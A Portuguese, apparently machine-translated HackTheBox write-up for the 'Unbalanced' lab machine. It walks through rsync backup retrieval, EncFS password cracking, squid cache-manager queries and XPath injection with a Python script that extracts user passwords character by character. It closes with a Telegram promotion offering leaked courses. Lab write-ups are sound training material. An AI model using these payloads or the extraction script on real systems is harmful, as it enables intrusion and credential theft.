
Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .
Neste artigo, vamos lidar com o backup em rsync, adivinhar a senha para EncFS, trabalhar com o servidor proxy squid, explorar a injeção XPath e explorar RCE em Pi-hole.
Informação organizacional
Recon
Esta máquina tem um endereço IP de 10.10.10.200, que adicionei a / etc / hosts.
10.10.10.200 unbalanced.htb
A primeira etapa é verificar as portas abertas. Eu faço isso usando o seguinte script, que leva um argumento - o endereço do host que está sendo verificado:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

E observamos os serviços de proxy SSH, rsync e squid. Rsync é um programa para sistemas semelhantes ao UNIX que sincroniza arquivos e diretórios em dois locais enquanto minimiza o tráfego. O Rsync pode copiar ou exibir o conteúdo do diretório e copiar arquivos, opcionalmente usando compactação e recursão.
Vamos ver a lista de módulos disponíveis.
rsync --list-only rsync://unbalanced.htb:873

Copie conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups

Pela presença do arquivo .encfs6.xml, entendemos que este é um volume criptografado EncFS. Vamos obter um hash da senha.

E vamos resolver isso.

Assim, obtemos a senha com a qual a criptografia foi realizada. Resta montar a partição.

E obtemos uma lista normal de arquivos.

Estes são principalmente arquivos de configuração, e estamos mais interessados no squid.conf. Vamos ver todas as linhas não comentadas.
cat squid.conf | grep -v '^#' | uniq


Salvamos a senha e marcamos o novo nome de domínio, que adicionamos a / etc / hosts. Também examinamos as ACLs.
10.10.10.200 intranet.unbalanced.htb
Vamos instalar um proxy no navegador e usar o nome de domínio encontrado para entrar em contato com o servidor web.

Somos recebidos por um formulário de autorização. Depois de passar algum tempo com ela, decidiu-se continuar trabalhando com lulas.
Ponto de entrada
Vamos dar uma olhada nas opções disponíveis.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'

E podemos encontrar mais nomes de domínio.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache

E há mais três nomes. Nós os adicionamos a / etc / hosts (o último foi escolhido logicamente).
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb 172.31.179.1 intranet.unbalanced.htb
E no primeiro vemos que este site é uma solução temporária.

Em seguida, chegamos ao mesmo formulário de autorização.
DO UTILIZADOR
Testamos novamente e obtemos uma resposta à solicitação 'ou' '='.


E obtemos uma lista de usuários. Esta é a injeção XPath. O fato é que, com a ajuda de certas consultas, podemos descobrir as senhas de usuários para determinados nomes.
Portanto, para começar, você pode determinar o comprimento da senha usando a função string-length. Testando no login. Sabemos que o comprimento correto é 5, experimente a condição com 4 e com 5 e veja a diferença.


A diferença é visível. Depois de determinar o comprimento, podemos obter a senha um caractere de cada vez. Também testamos o login. Pegue a primeira letra e compare com 'a' e depois com 'b'.


A diferença também é visível. Vamos escrever um código que classificará todas as senhas para cada login de maneira semelhante.
import requests
import string
url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']
pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"
for user in users:
for l in range(1,25):
data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
if 'Invalid credentials.' not in request.text:
passwd = ''
for num in range(l):
for c in string.printable[:94]:
data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
if 'Invalid credentials.' not in request.text:
passwd += c
break
print(user +" : "+ passwd + " "*10)
break

E o primeiro usuário tem acesso SSH com a senha encontrada.

RAIZ
Encontre a lista TODO no diretório inicial do usuário.

E podemos ver que as tarefas relacionadas ao Pi-hole ainda não foram concluídas (a senha é admin). Mas não foi possível visualizar as portas abertas, pois o netstat está ausente. Então você pode usar este script .

Estão abertas as portas 8080 e 5553.


E na resposta encontramos outro domínio e o IP correspondente. Vamos largar a porta e passar pelo navegador.
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb

Vá para a página e faça login com a senha admin. Na parte inferior, vemos a versão.

Vamos ver exploits.


Vamos iniciar o ouvinte e executar o exploit.


Vamos examinar os arquivos raiz e encontrar o script mencionado na lista TODO.


Ele contém uma senha.

Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, relatórios, cursos que vazaram e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.